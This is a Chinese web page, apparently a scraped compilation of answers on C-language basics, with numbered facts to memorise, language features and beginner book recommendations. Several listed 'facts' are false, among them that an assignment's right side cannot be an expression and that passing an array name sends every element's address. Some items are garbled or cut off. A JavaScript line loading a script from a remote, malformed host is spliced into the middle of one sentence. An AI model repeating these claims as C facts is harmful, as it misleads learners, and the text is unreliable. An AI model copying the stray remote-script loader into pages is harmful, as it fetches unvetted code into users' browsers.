有c语言基础
1. c语言基础知识必背是什么
c语言基础知识必背有c语言的命名、变量及赋值、基本数据类型、格式化输出语句、强制类型转换、常量、自动类型转换等。
如C语言程序的结构认识:任何一个c语言程序都必须包括以下格式:main() { }。这是c语言的基本结构,任何一个程序都必须包含这个结构。括号内可以不写任何内容,那么该程序将不执行任何结果。
main()----在c语言中称之为“主函数”,一个c程序有且仅有一个main函数,任何一个c程序总是从main函数开始执行,main函数后面的一对圆括号不能省略。被大括号{ }括起来的内容称为main函数的函数体,这部分内容就是计算机要执行的内容。
在{ }里面每一句话后面都有一个分号(;),在c语言中,我们把以一个分号结尾的一句话叫做一个c语言的语句,分号是语句结束的标志。
printf(“a=%d,b=%d,sum=%d ”,a,b,sum); ----通过执行这条c语言系统提供给我们直接使用的屏幕输出函数,用户即可看到运行结果,本程序运行后,将在显示器上显示如下结果:a=20,b=15,sum=35。
C程序的生成过程
C程序是先由源文件经编译生成目标文件,然后经过连接生成可执行文件。源程序的扩展名为 .c ,目标程序的扩展名为 .obj , 可执行程序的扩展名为 .exe 。
2. 学习C语言的基础是什么
1. 每个C程序有且只有一个主函数main(),且程序必须从main()函数开始执行,并在main()函数中结束。
2. 在C语言中,用e来表示科学计数法时,规定在e的前面必须有数字,后面必须为整数。
3. 用单引号括起来的一个字符常量只能存放一个字符;C语言中没有字符串变量,只能用字符数组来存储字符串。
4. 外部变量在编译时由系统分配永久的内存空间,所以外部变量的类型不是自动存储类别。
5. 在一个函数内的复合语句中定义的变量,只能在这个复合语句范围内有效。
6. 用sizeof(int)计算int类型数据的字节数。
7. C语言运行时,首先系统检查语法的正误,再运行程序的语法;C语言中,可以在一个函数中嵌套一个函数,但是不能在一个函数中定义一个函数;只有在函数外部定义的函数才是外部函数;C语言的子程序有过程和函数两种。
8. 预处理命令行的位置没有规定,只是习惯放在前面;在源文件中的可以有多条预处理命令,但一行只能写一条;宏名的大写只是习惯性的表示;宏替换不仅不占用运行时间还不分配内存空间。
9. feof函数的作用是检查文件是否结束,当结束时返回的值为非零,否则为零。
10. 当定义了数组后,在给其赋值时,不能直接把字符串赋给数组名。
11. 在赋值表达式中,赋值运算符“=”右侧不能为表达式;在求余运算符中的两侧都必须为整型;在强制类型转换时,类型名应用括号括起来。
12. 静态局部变量,只有当程序结束后,其值才释放。
13. 当调用函数时,实参是一个数组名,则向函数传送的是数组每一个元素的地址。
14. 算法的特点为有零个或多个输入,有一个或多个输出,当相同的输入时,其结果相同;算法正确的程序最终一定会结束。 15. 在C语言中,预处理命令行都以“#”开头;当需要时才用#include<stdio.h>;预处理的作用就是实现宏定义和条件编译。 16. 当数组元素的下标超出了定义的下标范围时,系统不给出“下标越界”的字样,而是得出错误的答案,因此在编程时务必检查下标是否越界。
17. 共用体变量不能作为函数的参数,也不能使函数带回共用体变量。
18. 指向函数的指针变量的定义形式为:数据类型 (*指针变量)(); ,因此其为指向函数的指针变量。
19. 用C语言编写的代码程序是源程序,只有通过编译、连接才能进行。
20. 在说明为static时,其生存期得到延长,而其作用域并没有改
var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);
变,在定义后系统会自动帮它赋值为0,static为关键字不能被用作它用。
21. 频繁地使用空语句会降低程序的可读性和运算速度。 22. 运算符%两边都应是整数,赋值语句左边应该是变量,而非表达式,强制转换语句强制类型应加括号。
23. 在逻辑运算符中,其两侧的运算符对象为任意合法的表达式即可。
24. 函数fread(&Iarray,2,16,fp)的功能是,从fp所指的数据文件中读取16次2字节的数据存储到数组Iarray中。 25. 整个流式文件也可以随机存取数据,C语言文件中有好多函数可以达到写入数据时,未经输入数据,达到不覆盖的目的,在进行写操作时,系统会自动关闭文件。
26. 使用putchar、getchat、puts、gets、printf、scanf函数时,必须在程序的开头出现包含头文件#include”stdio.h”的命令行,而使用字符串处理函数时,必须在程序的开头出现包含头文件#include”string.h”命令行,而使用数学函数时,必须在程序的开头出现包含头文件#include”math.h”的命令行。
27. 一个斜杠与小于等于127任意数字按一个字符计算,一个斜杠与任意一个字符按一个字符计算。
28. 一个C程序可以有一个或多个程序文件,也可以有一个或多个函数,所以一个C语言程序可以实现多种算法。
29. 根据C语言规定,注释语句可以换行写,并且一个“/*”和
3. 学c语言需要什么基础知识
c语言入门基础知识点有: 1、c语言的命名;2、变量及赋值;3、基本数据类型;4、格式化输出语句;5、强制类型转换;6、常量;7、自动类型转换。
C语言是一种通用的、面向过程式的计算机程序设计语言。
4. c语言基础知识必背有哪些
c语言基础知识有:
1、c语言的命名。
2、变量及赋值。
3、基本数据类型。
4、格式化输出语句。
5、强制类型转换。
6、常量。
7、自动类型转换。
c语言的特点:
1、广泛性。C语言的运算范围的大小直接决定了其优劣性。C语言中包含了34种运算符,因此运算范围要超出许多其它语言,此外其运算结果的表达形式也十分丰富。
2、简洁性。9类控制语句和32个关键字是C语言所具有的基础特性,使得其在计算机应用程序编写中具有广泛的适用性,可以适用广大编程人员的操作。
3、结构完善。C语言是一种结构化语言,它可以通过组建模块单位的形式实现模块化的应用程序,在系统描述方面具有显着优势。
5. 学习C语言要些什么基础
C语言是一门通用计算机编程语言,应用广泛。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。
由于C语言简单易学,已经成为学习编程的入门语言之一。在大学一年级,已经安排C语言相关的学习课程。由此可见,C语言的学习并不需要前置课程,可以轻松入门。附件是一本适合初学者入门学习的C语言书籍。其中包括:基本数据类型,运算符与表达式,控制流,函数,指针,数据结构,输入输出等基本基本知识的介绍。能够熟练运用上述的C语言规则,就可以完成C语言入门学习的内容。
一般要掌握基本的微机原理的知识、英文阅读的能力。学习语言注意要多动手,多思考调试,还要能坚持不懈,最重要的还有兴趣。
只要同学们掌握一些方法,多读,多写,克服心理上畏难情绪,C语言是完全可以学好的并且灵活应用的。
至于看什么书,推荐几本:
1.C语言入门经典
《C语言入门经典》例子简单生活化,而且每个例子分析很细。章节安排合理,章末的例子还特别注重思路的引导,而且分析起来特别有成就感。
这本书是自学过程的一本好书。
2.C primer plus
这本书很适合希望系统学习C语言的读者,正如他的名字,是一本不错的入门和进阶的书。书中的每一个知识点都有很多生动简单的示例,并给出了相应的运行结果。总之,在看这本书的过程中,有一种一气呵成的感觉。
3.C和指针
这本书和《专家编程》《C缺陷和陷阱》可以并称C语言(进阶书)三杰。本书的部分内容更适合有C基础的人看。如ADT、递归、指针和数组的部分,书中所述的思想是国内教材所缺乏的。看完本书,能得到一个正确的C语言观。
4.C程序设计语言
难以置信的是,这样一本C语言的入门书籍,从hello world开始讲起,却在短小的篇幅里,手把手教你写了stdio.h stdlib.h
string.h当中大部分例程,实现了二分查找、快速排序、二叉树、哈希表这些重要的数据结构和算法。这本书传递着一种简单、优雅、平实和闲适。
5.C专家编程
《C专家编程》展示了最优秀的C程序员所使用的编码技巧,并专门开辟了一章对C++的基础知识进行了介绍。书中C的历史、语言特性、声明、数组、指针、链接、运行时、内存以及如何进一步学习C++等问题进行了细致的讲解和深入的分析。
6. C语言是不是基础
没错,c语言是计算机语言的基础,一是计算机语言的灵魂,如果你学过了basic之类的简单语种,你就会发现c语言的博大精深,这种语言既有便携的简洁性,十分方便,也有很强大的运算性,仅仅次于汇编语言。可谓是计算机的核心,他强就强在单体编程。如果你想学计算机语言,c语言绝对是基础
7. C语言基础知识
C语言具有简洁紧凑,灵活方便,运算符丰富,数据类型丰富,表达方式灵活实用等特点,所以C语言程序设计更主动、灵活。很多人从C语言入门编程,下面整理了一些C语言基础知识,希望对大家有所帮助!
1.C语言中,变量必须先声明后使用,即一个程序块(花括号对)中所有临时变量必须在第一条可执行语句之前全部声明,而不能像C++那样随用随声明;
2.C语言中参数传值传递形参,即为参数的拷贝,此与C++/JAVA相同,同时值得注意,ANSI C不支持引用,此与C++/JAVA有区别,那么要对参数进行修改只能使用指针方式(指针传值指针本身仍是形参,要修改指针本身那必须使用双重指针);
3.C语言默认类型为int,即参数无类型或函数无返回值类型声明,则认为是int(貌似一些编译器不支持),同时不建议使用该特性;
4.无参数的函数声明应当使用void表明,否则C语言按照老式声明方法忽略参数类型检查;
5.全局变量建议全大写,局部变量建议全小写,内部变量31个字符有效,外部变量不区分大小写,仅6个字符有效,所以必须保持唯一性;
6.ANSI C是按照多字节实现的,UNICODE是后来发展的,所以有char/WCHAR,与.NET中char直接是双字节有区别,在C#中导入dll时值得注意;
7.C语言支持枚举,并且枚举和int直接强制类型转换即可,比.NET方便;
8.#define声明宏定义直接在编译时替换,不进行类型检查,const声明常量则可以进行类型检查;
9.运算符的优先级记忆比较麻烦,还是()可靠;
10.goto并不是一无是处,在不考虑程序可读性的情况下可能获得更高的效率;
11.函数实际也可以与特殊的类型相对应,那样对于理解函数指针比较方便,函数为外部类型;
12.static用于全局变量和函数则限定该变量和函数的使用范围仅为该源文件(从而无需考虑与其他源文件不得重名),用于函数内部变量则该变量的内存分配和回收不再同于普通临时变量(调用函数生成,函数返回销毁),而是一直存在于静态变量区,从而可以保存一些状态;
13.头文件的作用体现在调用其他源文件时不需要再次写函数定义,所以实现函数是不需要头文件的,调用时才需要,可以采用富头文件定义一大组接口,然后使用多个源文件分别实现;
14.寄存器变量使用register声明,仅适用于使用频率高的局部变量(含形参)(受限于底层硬件,不一定会被分配到寄存器,但是这么写不影响效率);
15.全局变量和静态变量默认初始化为全零且仅初始化一次,局部变量默认初始化为未定义且每次都会重新初始化;
16.递归调用的方法一般比较紧凑,但是每次调用会单独维护调用的`堆栈,所以效率不是最高;
17.#include的作用体现于将一些内容避免重新写一遍(主要是类型、函数和外部变量定义),所以实际上不一定为h文件;
18.表示一行尚未结束,对于定义长的字符串和define比较有用;
19.函数调用的执行顺序不确定,所以对于a()+b()这样函数中使用相同变量并且改变其值的需要借助临时变量处理,防止不同实现的调用顺序不一致;
20.##用于宏定义中连接前后两个部分,如cat(a, b) a ## b;
21.指针是C/C++的重要内容,当然也是双面刃,用好了很方便而且高效,用不好那就造成程序不稳定;
22.使用va_list, va_start, va_arg, va_end来定义可变参数的函数,通过va_start函数中的第一个不变参数将va_list指向参数列表(函数调用的栈中),然后通过va_arg获取每个参数并将va_list移动指定类型的长度,最后则通过va_end完成必要的回收工作,需要指出的是va_arg没有结束边界,所以比较有效的方式有两种,一种对于参数类型一致,则可以第一个参数指出后续参数的总数,然后依次获取,另一种对于不同类型的参数混用,则可以通过类型标识+参数配对的方式进行使用(第一个参数依然可以指定数量,当然也可以检查标识),从而避免最后读取无效的参数,对于可变参数仅支持int和double两种类型(参数未限定类型,故按照旧式声明理解)以及指针类型;
23.函数指针是用来在C语言中实现动态调用的比较有效的方式
24.结构体用作参数依然是拷贝为形参传递,这点与JAVA中全部对象都是类有区别(类的对象通过引用传值,C#支持struct),所以对于大的结构体事宜使用指针传递,而对于小的结构体拷贝传值效率并不低;
25.代码中字符数组为静态常量,对其操作无效,程序块中数组的声明是可以自动回收的,通过malloc/calloc分配的内存为堆内存,需要自行通过free回收;
8. c语言基础知识必背什么
c语言基础必背知识如下:
1、C语言程序结构有三种:顺序结构,循环结构(三个循环结构),选择结构(if 和 switch)。
2、计算机的数据在电脑中是以二进制的形式保存。最低的存储单元是bit(位),位是由为 0 或者1构成。 byte 是指字节, 一个字节 = 八个位。数据存放的位置就是它的地址。
3、合法的要求是由字母,数字,下划线组成。有其它元素就错了。
4、大写字母和小写字母转换的方法: A+32=a 相互之间一般是相差32。
5、赋值表达式:表达式数值是最左边的数值,a=b=5,该表达式为5,常量不可以赋值。